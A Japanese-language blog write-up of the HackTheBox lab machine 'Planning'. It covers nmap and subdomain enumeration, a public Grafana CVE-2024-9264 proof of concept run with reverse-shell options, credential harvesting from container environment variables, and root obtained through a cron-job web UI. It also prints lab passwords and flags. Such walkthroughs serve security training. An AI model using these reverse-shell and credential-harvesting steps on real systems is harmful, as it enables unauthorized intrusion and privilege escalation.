0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

[HackTheBox] planning-writeup

Last updated at Posted at 2025-06-27

はじめに

  • MachineName: Planning
  • Difficulty: Easy

Machine Information

  • usr:admin
  • pwd:0D5oT70Fq13EvB5r

reccon

nmapを使用して
空いているポートを見つけます。
/etc/hostsにplanning.htbを追加します

$nmap -sCV 10.10.11.68
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-06-06 06:13 UTC
Nmap scan report for 10.10.11.68
Host is up (1.0s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 62:ff:f6:d4:57:88:05:ad:f4:d3:de:5b:9b:f8:50:f1 (ECDSA)
|_  256 4c:ce:7d:5c:fb:2d:a0:9e:9f:bd:f5:5c:5e:61:50:8a (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://planning.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

enumeration

ffufを使用しサブドメインを探します。

$sudo ffuf -u http://planning.htb/ -w /usr/share/wordlists/subdmain.txt -H "Host:FUZZ.planning.htb"

grafanaが見つかったので/etc/hostsに追加します

grafana

grafana-v11.0.0に脆弱性がないか調べ、結果CVE-2024-9264を見つけました。

このexploitを使用します。

スクリーンショット 2025-06-09 15.15.58.png

# 

$python3 poc.py --url http://grafana.planning.htb --username admin --password 0D5oT70Fq13EvB5r --reverse-ip 10.10.xx.xx --reverse-port xxxx

適当なポートで開けます

$ncat -lvnp xxxx
Ncat: Version 7.94SVN ( https://nmap.org/ncat )
Ncat: Listening on [::]:9999
Ncat: Listening on 0.0.0.0:9999
Ncat: Connection from 10.10.11.68:50852.
sh: 0: can't access tty; job control turned off

おそらくdocker内にいます。ここから出るために環境変数を見てみます。
.envにenzoというユーザとパスワードを発見しました。

# env
GF_PATHS_HOME=/usr/share/grafana
HOSTNAME=7ce659d667d7
AWS_AUTH_EXTERNAL_ID=
SHLVL=1
HOME=/usr/share/grafana
OLDPWD=/usr/share/grafana/.duckdb
AWS_AUTH_AssumeRoleEnabled=true
GF_PATHS_LOGS=/var/log/grafana
_=ls
GF_PATHS_PROVISIONING=/etc/grafana/provisioning
GF_PATHS_PLUGINS=/var/lib/grafana/plugins
PATH=/usr/local/bin:/usr/share/grafana/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
AWS_AUTH_AllowedAuthProviders=default,keys,credentials
GF_SECURITY_ADMIN_PASSWORD=RioTecRANDEntANT!
AWS_AUTH_SESSION_DURATION=15m
GF_SECURITY_ADMIN_USER=enzo
GF_PATHS_DATA=/var/lib/grafana
GF_PATHS_CONFIG=/etc/grafana/grafana.ini
AWS_CW_LIST_METRICS_PAGE_LIMIT=500
PWD=/usr/share/grafana

user

sshでenzoに接続しuser.txtを取得できました。

enzo@planning.htb$cat user.txt
504069aa88b42cf29db8eb83731fcb36

root

怪しいポートが空いていないか確認したら8000番があったのでparrot側に転送します

enzo@planning:~$ ss -tuln
Netid  State   Recv-Q  Send-Q   Local Address:Port    Peer Address:Port Process 
udp    UNCONN  0       0           127.0.0.54:53           0.0.0.0:*            
udp    UNCONN  0       0        127.0.0.53%lo:53           0.0.0.0:*            
tcp    LISTEN  0       4096        127.0.0.54:53           0.0.0.0:*            
tcp    LISTEN  0       511            0.0.0.0:80           0.0.0.0:*            
tcp    LISTEN  0       511          127.0.0.1:8000         0.0.0.0:*            
tcp    LISTEN  0       4096         127.0.0.1:3000         0.0.0.0:*            
tcp    LISTEN  0       151          127.0.0.1:3306         0.0.0.0:*            
tcp    LISTEN  0       4096     127.0.0.53%lo:53           0.0.0.0:*            
tcp    LISTEN  0       4096         127.0.0.1:38099        0.0.0.0:*            
tcp    LISTEN  0       70           127.0.0.1:33060        0.0.0.0:*            
tcp    LISTEN  0       4096                 *:22                 *:*       
$ssh enzo@planning.htb -L 8000:127.0.0.1:8000   

スクリーンショット 2025-06-09 15.45.42.png

ログインを要求されているので探します。
とりあえずlinpeas.shを投下してみます。
何やら怪しげなファイルを見つけました

cat /opt/crontabs/crontab.db
{"name":"Grafana backup","command":"/usr/bin/docker save root_grafana -o /var/backups/grafana.tar && /usr/bin/gzip /var/backups/grafana.tar && zip -P P4ssw0rdS0pRi0T3c /var/backups/grafana.tar.gz.zip /var/backups/grafana.tar.gz && rm /var/backups/grafana.tar.gz","schedule":"@daily","stopped":false,"timestamp":"Fri Feb 28 2025 20:36:23 GMT+0000 (Coordinated Universal Time)","logging":"false","mailing":{},"created":1740774983276,"saved":false,"_id":"GTI22PpoJNtRKg0W"}
{"name":"Cleanup","command":"/root/scripts/cleanup.sh","schedule":"* * * * *","stopped":false,"timestamp":"Sat Mar 01 2025 17:15:09 GMT+0000 (Coordinated Universal Time)","logging":"false","mailing":{},"created":1740849309992,"saved":false,"_id":"gNIRXh1WIc9K7BYX"}

root
P4ssw0rdS0pRi0T3c
これでログインできそう...?

できました..!
恐らく、指定した時間になったらshellコマンドをrootで実行する感じのwebアプリですね。
スクリーンショット 2025-06-09 15.58.45.png
shellを反射するコマンドを適当に書いてみます

スクリーンショット 2025-06-10 10.30.10.png

あっさりroot取れました。

$ncat -lcnp xxxx
root@planning:/# whoami
whoami
root
root@planning:/# cat root/root.txt
#cat root/root.txt
615da1318a44484acf564c4c99dfa6e1

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?